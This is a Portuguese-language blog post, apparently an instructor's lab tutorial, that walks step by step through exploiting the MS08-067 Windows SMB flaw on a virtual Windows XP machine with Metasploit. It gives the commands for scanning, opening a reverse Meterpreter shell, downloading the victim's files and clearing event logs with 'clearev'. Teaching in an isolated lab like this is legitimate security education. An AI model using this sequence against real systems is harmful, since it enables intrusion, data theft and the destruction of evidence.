quarta-feira, 5 de junho de 2013

Exemplo de invasão com o Metasploit Framework

Conforme havia combinado com meus alunos, segue um post de invasão utilizando o Metasploit Framework. Sempre lembrando que o objetivo é puramente EDUCACIONAL conforme pode ser lido no primeiro post. Sob hipótese alguma incentivo a prática de invadir computadores de terceiros e o material aqui exposto serve apenas como complemento ao material de aula. Até por que trata-se de uma prática de invasão que explora uma vulnerabilidade bem conhecida e que está sendo executada num ambiente controlado baseado em máquinas virtuais.

Então mãos a obra. Primeiramente o cenário:

Vítima
- Máquina virtual no Oracle Virtual Box com adaptador de rede configurado como "Rede Interna".
- Instalado Windows XP SP2.
- IP 192.168.1.100.

Atacante
- Máquina virtual no Oracle Virtual Box com adaptador de rede configurado como "Rede Interna".
- Rodando Live CD do BackTrack R2.
- IP 192.168.1.50.

Aqui verificamos que a vítima está rodando o Windows XP SP2 e configuramos sua rede:








Na máquina do atacante, rodando o Live CD do Backtrack, configuramos a rede com o comando "ifconfig eth0 192.168.1.50 netmask 255.255.255.0". Como ambos os adaptadores das máquinas virtuais estão como "Rede Interna" e elas estão na mesma rede, elas já podem se pingar.


Uma vez que as máquinas já se enxergam, vamos abrir a interface gráfica do Backtrack com o comando "starxt". Com a interface aberta navegue até "Applications" -> "Backtrack" -> "Explotation Tools" -> "Network Explotation Tools" -> "Metasploit Framework" -> "msfconsole". (note que você também poderia ter aberto o framework digitando simplesmente "msfconsole" diretamente na linha de comandos.


Ao ser aberto, o MSF abrirá uma tela semelhante a essa (ou com um banner diferente). Toda vez que você abre o msfconsole ele pode te mostrar um banner diferente e você pode inclusive ver outros banners com o digitando "banner" na linha de comandos.


Agora é hora de verificar quais portas abertas o computador da vítima possui usando o nmap. Nessa sintaxe, utilizaremos um arquivo de script para checar se o computador remoto é vulnerável a alguns ataques específicos. No nosso caso, ao MS08-067, uma vulnerabilidade do Windows RPC que pode permitir a execução remota de comandos. Para saber mais visite: http://nmap.org/nsedoc/scripts/smb-check-vulns.html
A sintaxe do comando é: nmap -A --script=smb-check-vulns -P0 192.168.1.100. Note na tela abaixo que o nmap ja verifica se o sistema está ou não vulnerável ao MS08-067. É muito importante não rodar essa checagem num ambiente de produção pois existe uma grande possibilidade de ela travar o sistema remoto, então novamente, execute em ambiente controlado.


Agora que sabemos que o sistema é vulnerável, vamos procurá-lo para saber exatamente o nome do exploit que precisamos utilizar com o comando "search ms08-067".


Encontrado o exploit, vamos utilizá-lo com o comando "use exploit/windows/smb/ms08_067_netapi" como mostra a tela abaixo.


 Agora que já selecionamos o exploit a ser utilizado, vamos analisar as opções que ele precisa para executar. Atente a coluna "Required", que informa se uma determinada variável é requerida ou não para execução do exploit. Digite "show options".Veja que a variável "RHOST" é necessária pois trata-se justamente do host remoto (computador da vítima), e não está preenchido.


Poderíamos já setar a variável RHOST, mas vamos definir todas as variáveis necessárias num segundo momento. Vamos verificar quais os payloads disponíveis para esse exploit. Digite o comando "show payloads".


Uma lista com diversos payloads será exibida. Vamos escolher o meterpreter/reverse_tcp, que permitirá uma conexão reversa  da máquina da vítima para a minha máquina na porta 4444. Defina o payload com o comando "set PAYLOAD windows/meterpreter/reverse_tcp".


Se olharmos as opções novamente, agora teremos acesso as variáveis necessárias do exploit, do payload e também do alvo (target). Veja que o RHOST (host remoto ou máquina da vítima) e o LHOST (a máquina local ou a máquina do atacante) ainda não estão preenchidos.


Ao invés de utilizarmos o target automático como a imagem acima sugere, vamos verificar quais são os alvos disponíveis para refinarmos nosso ataque. Digite na console o comando "show targets" e uma lista com diversos sistemas alvo será exibida na sua tela. Como o Windows que fizemos o teste é em português, utilizaremos o target "34".

 Para isso, definiremos o target como 34 através do comando "set TARGET 34".


Vamos aproveitar e definir também as demais variáveis necessárias. Digite os comandos "set RHOST 192.168.1.100" e "set LHOST 192.168.1.50".


Se você exibir suas configurações novamente, verá que todas as variáveis já foram definidas.


Uma vez que todas as variáveis foram configuradas, vamos rodar finalmente o exploit com o comando "exploit".


Veja que a conexão foi bem sucedida "Meterpreter session 1 opened 192.168.1.50:4444 -> 192.168.1.100:1050". Executando o comando "help", você pode ver a quantidade de comandos que podem ser digitados nessa sessão aberta no computador do usuário. Veja que são tantos comandos, que eles são exibidos na ajuda por categorias: Comandos Core, comandos de sistemas de arquivos, comandos de rede, comandos de sistema, comandos da interface de usuário, comandos da webcam, etc.


 
 

 Note que na seção de comandos de sistema, temos um comando chamado "shell", que abre um shell de comandos no sistema remoto. Digite então "shell" e veja que você agora está logado no sistema remoto com um shell no "C:\Windows\System32"  \o/\o/\o/.


Você agora está com um shell remoto, se executar comandos como "cd \" e "dir" por exemplo, ele mostra o que o usuário tem no disco.


 O comando "ipconfig" mostra as configurações da rede...


... e o comando  "download" permite que você busque arquivos.


Você está dentro da máquina da vítima, então agora o resto vai da sua imaginação. Ao terminar não esqueça de rodar o "clearev" ;o)

t+

Cristiano
"It's nothing but a network layer 8 issue"  -  "There's no place like 127.0.0.1"

Nenhum comentário:

Related Posts Plugin for WordPress, Blogger...